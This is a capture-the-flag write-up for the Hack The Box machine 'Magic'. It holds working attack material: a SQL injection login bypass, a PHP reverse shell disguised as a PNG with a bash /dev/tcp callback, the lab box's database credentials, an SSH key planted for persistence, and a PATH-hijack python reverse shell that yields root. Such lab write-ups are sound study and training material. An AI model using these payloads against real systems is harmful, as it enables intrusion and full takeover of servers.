---
search:
  exclude: true
---
# Magic Writeup

![](img/55.png)

## Introduction :

Magic is a Medium Linux box released back in April 2020. 

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → nmap -vvv -p- 10.10.10.185 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
    Discovered open port 22/tcp on 10.10.10.185
    Discovered open port 80/tcp on 10.10.10.185
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → nmap -sCV -p22,80 10.10.10.185
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-24 15:26 CEST
    Nmap scan report for 10.10.10.185
    Host is up (0.45s latency).
    
    PORT   STATE SERVICE VERSION
    22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
    |   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
    |_  256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
    80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
    |_http-server-header: Apache/2.4.29 (Ubuntu)
    |_http-title: Magic Portfolio
    Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 29.24 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 so let's investigate it:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
    → gobuster dir -u http://10.10.10.185 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.10.185
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Timeout:                 10s
    ===============================================================
    2021/06/24 15:44:14 Starting gobuster in directory enumeration mode
    ===============================================================
    /.hta                 (Status: 403) [Size: 277]
    /.htpasswd            (Status: 403) [Size: 277]
    /.htaccess            (Status: 403) [Size: 277]
    /.sh_history          (Status: 403) [Size: 277]
    /assets               (Status: 301) [Size: 313] [--> http://10.10.10.185/assets/]
    /images               (Status: 301) [Size: 313] [--> http://10.10.10.185/images/]
    /index.php            (Status: 200) [Size: 4050]
    /server-status        (Status: 403) [Size: 277]
    
    [ 10.10.14.11/23 ] [ /dev/pts/16 ] [~]
    → gobuster dir -u http://10.10.10.185/images/ -r -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
    ===============================================================
    Gobuster v3.1.0
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
    ===============================================================
    [+] Url:                     http://10.10.10.185/images/
    [+] Method:                  GET
    [+] Threads:                 50
    [+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/common.txt
    [+] Negative Status codes:   404
    [+] User Agent:              gobuster/3.1.0
    [+] Follow Redirect:         true
    [+] Timeout:                 10s
    ===============================================================
    2021/06/24 15:46:26 Starting gobuster in directory enumeration mode
    ===============================================================
    /.sh_history          (Status: 403) [Size: 277]
    /.hta                 (Status: 403) [Size: 277]
    /.htaccess            (Status: 403) [Size: 277]
    /.htpasswd            (Status: 403) [Size: 277]
    /uploads              (Status: 403) [Size: 277]
    
    ===============================================================
    2021/06/24 15:47:11 Finished
    ===============================================================
    
    

So here we see that there is a directory **/images/uploads/** so it's safe to assume that we will need to upload a malicious file:

![](prg/55_001.png)

Now on the first page we see there is a login php page hyperlink at the bottom left, so we're going to intercept the request with burpsuite and see what's up:

![](prg/55_002.png)

So we have the following POST request:
    
    
    POST /login.php HTTP/1.1
    Host: 10.10.10.185
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 29
    Origin: http://10.10.10.185
    Connection: close
    Referer: http://10.10.10.185/login.php
    Cookie: PHPSESSID=d08upquemehq9gte4accrged80
    Upgrade-Insecure-Requests: 1
    
    username=admin&password;=admin
    
    

When we send it as it is, we get the following response:

![](prg/55_003.png)

Let's try to do a SQL injection:
    
    
    #raw
    username=' or 1=1#&password;=admin
    
    #url encoded (select in burp and do CTRL+U)
    username='+or+1%3d1%23&password;=admin
    
    

Use it in the **Proxy** tab in burpsuite, then click Forward. And you will be greeted by the following:

![](prg/55_004.png)

Now let's make a malicious png file to upload there. Since we know that this box has php on it we're going to make a simple php reverse shell:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → vim rev.php
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → cat rev.php
    <****?php
    exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'");
    ?****>
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → sudo apt install exiftool -y
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → wget https://blog.nowhere.moe/assets/img/user.png -O rev.png
    --2021-06-24 16:15:12--  https://blog.nowhere.moe/assets/img/user.png
    Resolving blog.nowhere.moe (blog.nowhere.moe)... 185.199.108.153, 185.199.109.153, 185.199.111.153, ...
    Connecting to blog.nowhere.moe (blog.nowhere.moe)|185.199.108.153|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 14891 (15K) [image/png]
    Saving to: ‘rev.png’
    
    rev.png                                                       100%[=================================================================================================================================================>]  14.54K  --.-KB/s    in 0.02s
    
    2021-06-24 16:15:14 (816 KB/s) - ‘rev.png’ saved [14891/14891]

Now basically we want the magic bytes of that png file (first few bytes of a png image) and then we want to concatenate the magic bytes to our php reverse shell file like so:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → head -c20 rev.png | xxd
    00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
    00000010: 0000 01f4                                ....
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → head -c10 rev.png | xxd
    00000000: 8950 4e47 0d0a 1a0a 0000                 .PNG......
    

Here we grab the first few bytes until the first nullbyte, and save it to another file:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → head -c72 rev.png | xxd
    00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
    00000010: 0000 01f4 0000 01f4 0806 0000 00cb d6df  ................
    00000020: 8a00 0000 0173 5247 4200 aece 1ce9 0000  .....sRGB.......
    00000030: 0004 6741 4d41 0000 b18f 0bfc 6105 0000  ..gAMA......a...
    00000040: 0009 7048 5973 0000                      ..pHYs..
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → head -c72 rev.png > png-magic-bytes.png
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → file png-magic-bytes.png
    png-magic-bytes.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced
    
    

So we concatenate them together:
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → cat png-magic-bytes.png rev.php
    PNG
    
    IHDߊsRGBgAMA
                a   pHYs<****?php
    exec("/bin/bash -c 'bash -i > & /dev/tcp/10.10.14.11/9001 0>&1'");
    ?****>
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → cat png-magic-bytes.png rev.php > magic.php.png
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → file magic
    magic: cannot open `magic' (No such file or directory)
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → file magic.php.png
    magic.php.png: PNG image data, 500 x 500, 8-bit/color RGBA, non-interlaced

And now we have our reverse php shell with the magic bytes of a png file. So let's upload the image:

![](prg/55_005.png) ![](prg/55_006.png)

Now that the image has been uploaded, we attempt to trigger the reverse shell by browsing to it at the **/images/uploads/magic.php.png** path we found earlier:

![](prg/55_007.png)

And we get a reverse shell!
    
    
    [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51376
    bash: cannot set terminal process group (1135): Inappropriate ioctl for device
    bash: no job control in this shell
    www-data@ubuntu:/var/www/Magic/images/uploads$
    
    

Now let's upgrade our reverse shell to a fully interactive TTY:
    
    
    www-data@ubuntu:/var/www/Magic/images/uploads$ which python python3 curl wget
    which python python3 curl wget
    /usr/bin/python3
    /usr/bin/wget
    www-data@ubuntu:/var/www/Magic/images/uploads$ python3 -c 'import pty;pty.spawn("/bin/bash")'
    www-data@ubuntu:/var/www/Magic/images/uploads$ ^Z
    [1]  + 1387803 suspended  nc -lvnp 9001
    
    [ 10.10.14.11/23 ] [ /dev/pts/24 ] [~/HTB/magic]
    → stty raw -echo ; fg
    [1]  + 1387803 continued  nc -lvnp 9001
                                           export TERM=screen-256color
    www-data@ubuntu:/var/www/Magic/images/uploads$ export SHELL=bash
    www-data@ubuntu:/var/www/Magic/images/uploads$ stty rows 40 columns 225
    www-data@ubuntu:/var/www/Magic/images/uploads$ reset
    

And now that we have a fully interactive TTY let's take a look around the web directory:
    
    
    www-data@ubuntu:/var/www/Magic/images/uploads$ cd ~
    www-data@ubuntu:/var/www$ ls -lash
    total 16K
    4.0K drwxr-xr-x  4 root     root     4.0K Mar 13  2020 .
    4.0K drwxr-xr-x 15 root     root     4.0K Oct 15  2019 ..
    4.0K drwxr-xr-x  4 www-data www-data 4.0K Mar 17  2020 Magic
    4.0K drwxr-xr-x  2 root     root     4.0K Dec  3  2019 html
    www-data@ubuntu:/var/www$ cat Magic/db.php5
    <****?php
    class Database
    {
        private static $dbName = 'Magic' ;
        private static $dbHost = 'localhost' ;
        private static $dbUsername = 'theseus';
        private static $dbUserPassword = 'iamkingtheseus';
    
        private static $cont  = null;
    
        public function __construct() {
            die('Init function is not allowed');
        }
    
        public static function connect()
        {
            // One connection through whole application
            if ( null == self::$cont )
            {
                try
                {
                    self::$cont =  new PDO( "mysql:host=".self::$dbHost.";"."dbname=".self::$dbName, self::$dbUsername, self::$dbUserPassword);
                }
                catch(PDOException $e)
                {
                    die($e->getMessage());
                }
            }
            return self::$cont;
        }
    
        public static function disconnect()
        {
            self::$cont = null;
        }
    }

Now here we have potential credentials for a local database with the user **theseus** so let's try to dump the database contents with it:
    
    
    www-data@ubuntu:/var/www$ mysqldump -u theseus Magic -p > /tmp/database.dump
    Enter password: iamkingtheseus
    
    www-data@ubuntu:/var/www$ cat /tmp/database.dump | grep admin
    INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
    
    

And now we have credentials for the user 'theseus' so let's try to use his credentials ::
    
    
    www-data@ubuntu:/var/www$ su theseus
    Password:
    theseus@ubuntu:/var/www$ cd ~
    theseus@ubuntu:~$ cat user.txt
    58XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get the user flag.

## **Part 3 : Getting Root Access**

Now in order to privesc to the root user we're going to need to enumerate the box using linpeas.sh:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → cp /home/nothing/HTB/obscurity/linpeas.sh .
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    theseus@ubuntu:~$ wget http://10.10.14.11:9090/linpeas.sh -O /tmp/peas.sh
    --2021-06-25 00:53:01--  http://10.10.14.11:9090/linpeas.sh
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 341863 (334K) [text/x-sh]
    Saving to: ‘/tmp/peas.sh’
    
    /tmp/peas.sh                    100%[====================================================>] 333.85K   171KB/s    in 1.9s
    
    2021-06-25 00:53:04 (171 KB/s) - ‘/tmp/peas.sh’ saved [341863/341863]
    
    theseus@ubuntu:~$ chmod +x /tmp/peas.sh
    theseus@ubuntu:~$ /tmp/peas.sh
    
    

` ![](prg/55_008.png)

Let linpeas.sh run a bit, then scrolling through the output we see the following SUID binary:

![](prg/55_009.png)

Apparently there is an unknown SUID binary in **/bin/sysinfo** so let's run it to see what it does:
    
    
    theseus@ubuntu:~$ /bin/sysinfo --help
    ====================Hardware Info====================
    H/W path           Device      Class      Description
    =====================================================
                                   system     VMware Virtual Platform
    /0                             bus        440BX Desktop Reference Platform
    /0/0                           memory     86KiB BIOS
    /0/1                           processor  AMD EPYC 7401P 24-Core Processor
    /0/1/0                         memory     16KiB L1 cache
    /0/1/1                         memory     16KiB L1 cache
    /0/1/2                         memory     512KiB L2 cache
    /0/1/3                         memory     512KiB L2 cache
    /0/2                           processor  AMD EPYC 7401P 24-Core Processor
    /0/28                          memory     System Memory
    /0/28/0                        memory     4GiB DIMM DRAM EDO
    /0/28/1                        memory     DIMM DRAM [empty]
    /0/28/2                        memory     DIMM DRAM [empty]
    /0/28/3                        memory     DIMM DRAM [empty]
    /0/28/4                        memory     DIMM DRAM [empty]
    /0/28/5                        memory     DIMM DRAM [empty]
    /0/28/6                        memory     DIMM DRAM [empty]
    /0/28/7                        memory     DIMM DRAM [empty]
    /0/28/8                        memory     DIMM DRAM [empty]
    
    [...]
    
    bugs            : fxsave_leak sysret_ss_attrs null_seg spectre_v1 spectre_v2 spec_store_bypass
    bogomips        : 4000.00
    TLB size        : 2560 4K pages
    clflush size    : 64
    cache_alignment : 64
    address sizes   : 43 bits physical, 48 bits virtual
    power management:
    
    
    ====================MEM Usage=====================
                  total        used        free      shared  buff/cache   available
    Mem:           3.8G        562M        1.8G        3.9M        1.5G        3.0G
    Swap:          947M          0B        947M
    
    theseus@ubuntu:~$
    
    

It basically gives a bunch of infos about the system. Now before our shell breaks, let's get our ssh public key onto the box in order to access that user more easily:
    
    
    theseus@ubuntu:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' > ~/.ssh/authorized_keys
    
    [ 10.66.66.2/32 ] [ /dev/pts/29 ] [~/HTB/magic]
    → ssh theseus@10.10.10.185 -i ~/.ssh/mainpc
    Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
     * Management:     https://landscape.canonical.com
     * Support:        https://ubuntu.com/advantage
    
    
     * Canonical Livepatch is available for installation.
       - Reduce system reboots and improve kernel security. Activate at:
         https://ubuntu.com/livepatch
    
    29 packages can be updated.
    0 updates are security updates.
    
    Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
    
    Your Hardware Enablement Stack (HWE) is supported until April 2023.
    theseus@ubuntu:~$
    
    

Let's monitor the processes ran by root using pspy:
    
    
    [terminal 1]
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → cp /home/nothing/HTB/book/pspy64s .
    
    [ 10.10.14.11/23 ] [ /dev/pts/1 ] [~/HTB/magic]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    [terminal 2]
    theseus@ubuntu:~$ wget http://10.10.14.11:9090/pspy64s -O /tmp/pspy
    --2021-06-25 01:02:54--  http://10.10.14.11:9090/pspy64s
    Connecting to 10.10.14.11:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 1156536 (1.1M) [application/octet-stream]
    Saving to: ‘/tmp/pspy’
    
    /tmp/pspy                                                     100%[=================================================================================================================================================>]   1.10M   382KB/s    in 3.0s
    
    2021-06-25 01:02:58 (382 KB/s) - ‘/tmp/pspy’ saved [1156536/1156536]
    
    theseus@ubuntu:~$ chmod +x /tmp/pspy
    theseus@ubuntu:~$ /tmp/pspy
    
    

` ![](prg/55_010.png)

Now on another shell we run **sysinfo** on the box and observe what it does from pspy:

![](prg/55_011.png)

Now here we see that sysinfo basically executes **lshw** so we should be able to create our own lshw with a reverse python3 shell into it, and we would change the **PATH** variable to make sure our binary file takes priority over the other lshw:
    
    
    theseus@ubuntu:~$ cd /tmp
    theseus@ubuntu:/tmp$ mkdir nihilist
    theseus@ubuntu:/tmp$ cd nihilist/
    theseus@ubuntu:/tmp/nihilist$ nano lshw
    theseus@ubuntu:/tmp/nihilist$ cat lshw
    python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    theseus@ubuntu:/tmp/nihilist$ chmod +x lshw
    theseus@ubuntu:/tmp/nihilist$ PATH=$PATH:$(pwd)
    theseus@ubuntu:/tmp/nihilist$ echo $PATH
    .:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/tmp/nihilist
    
    

Now let's run sysinfo again 
    
    
    [terminal 1]
    theseus@ubuntu:/tmp/nihilist$ sysinfo
    ====================Hardware Info====================
    
    [terminal 2]
    [ 10.66.66.2/32 ] [ /dev/pts/35 ] [~/HTB/magic]
    → nc -lvnp 9001
    listening on [any] 9001 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.185] 51382
    # id
    uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)
    ca cat /root/root.txt
    acXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    
    

And that's it! We managed to get a reverse shell as the root user.

## **Conclusion**

Here we can see the progress graph :

![](img/55_graph.png)

